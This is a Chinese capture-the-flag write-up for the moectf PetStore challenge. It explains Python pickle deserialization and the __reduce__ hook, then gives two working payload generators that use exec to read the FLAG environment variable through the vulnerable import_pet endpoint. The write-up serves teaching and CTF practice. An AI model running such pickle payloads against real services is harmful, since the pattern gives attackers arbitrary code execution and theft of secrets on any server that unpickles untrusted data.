moectf PetStore 题解(pickle反序列化)

审计源码,小白没发现什么,看了提示是pickle序列化与反序列化,查看Dockerfile,flag在环境变量里

pickle模块提供了一种简单且强大的方法来实现对象的序列化和反序列化,使得开发者能够方便地将复杂的Python对象转化为字节流并在需要时重新还原。

基本使用

import pickle

data = {'name': 'Alice', 'age': 25}
serialized_data = pickle.dumps(data)

deserialized_data = pickle.loads(serialized_data)

print(deserialized_data)

在上述代码中,我们首先使用pickle.dumps()函数将一个Python对象序列化为字节流,然后使用pickle.loads()函数将字节流反序列化为Python对象。

和php类似,python魔术方法也会在一些特定情况下被自动调用.我们尤其要注意的是__reduce__魔术方法,这会在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果.

除此之外还有很多魔术方法.例如初始化函数__init__和构造函数__new__.和php类似,python中也有魔法属性.例如__doc__,__name__,__class__,__base__等.

引自pickle反序列化漏洞基础知识与绕过简析 - 先知社区 (aliyun.com)

这里通过 picklebase64 的结合,是利用了 Python 对象序列化和反序列化中的安全漏洞。这种方式可以在服务端执行恶意代码。让我们仔细看为什么这个攻击有效:

  1. pickle 反序列化漏洞: pickle 是 Python 的序列化工具,可以将 Python 对象转为字节流。反序列化时,pickle 会重建对象及其状态。如果恶意用户能够控制传入的数据,就可以构造特定对象,在反序列化的过程中执行任意代码。
  2. 在代码中,import_pet 函数会对传入的 serialized_pet 字符串进行 pickle.loads() 操作。这意味着传入的数据会被反序列化为 Python 对象,如果构造的对象具有特殊方法(例如 __reduce__()),就能让服务端执行任意代码。

注:

pickle 模块的反序列化过程之所以能执行任意代码,是因为在反序列化对象时,pickle 支持一些特殊的钩子方法,比如 __reduce__()__reduce_ex__()、和 __getstate__()。这些方法允许对象指定在反序列化时应执行的操作,而这种机制为攻击者提供了利用机会。

具体来说,__reduce__() 方法可以返回两个元素的元组:(可调用对象, 参数)。当 pickle 在反序列化对象时,会使用这个元组的第一个元素作为可调用对象,并将第二个元素作为参数传递给它。因此,如果一个恶意对象实现了 __reduce__() 方法并在其中返回一些任意的可执行代码(如 exec 函数),在反序列化时就会触发这个代码的执行。

例如,__reduce__() 可能返回 (os.system, ("ls",)),那么在反序列化时,pickle 模块就会调用 os.system("ls"),从而执行命令行中的 ls 命令。

官解代码:

import base64
import pickle
class Test:
    def __reduce__(self):
        return (exec, ("import os;store.create_pet(os.getenv('FLAG'), 'flag');",))
if __name__ == "__main__":
    print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))

exec(“import os; store.create_pet('flag', os.getenv('FLAG'));“)

import base64
import pickle

class Test:
    def __reduce__(self):
        return (exec, ("import os;store.create_pet(os.popen('echo $FLAG').read().strip(), 'flag');",))

if __name__ == "__main__":
    print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))

也行